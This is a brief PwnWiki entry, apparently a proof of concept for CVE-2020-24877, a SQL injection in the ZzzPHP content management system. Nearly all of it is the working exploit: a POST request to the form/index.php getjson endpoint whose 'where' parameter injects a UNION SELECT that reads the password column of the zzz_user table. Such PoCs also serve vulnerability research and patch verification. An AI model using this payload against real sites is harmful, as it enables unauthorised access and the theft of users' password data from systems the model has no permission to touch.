CVE-2020-24877 ZzzPHP Sqli漏洞

From PwnWiki

POC

POST /zzzphp/form/index.php?module=getjson

table=gbook&where[]=1=1 union select password from zzz_user&col=1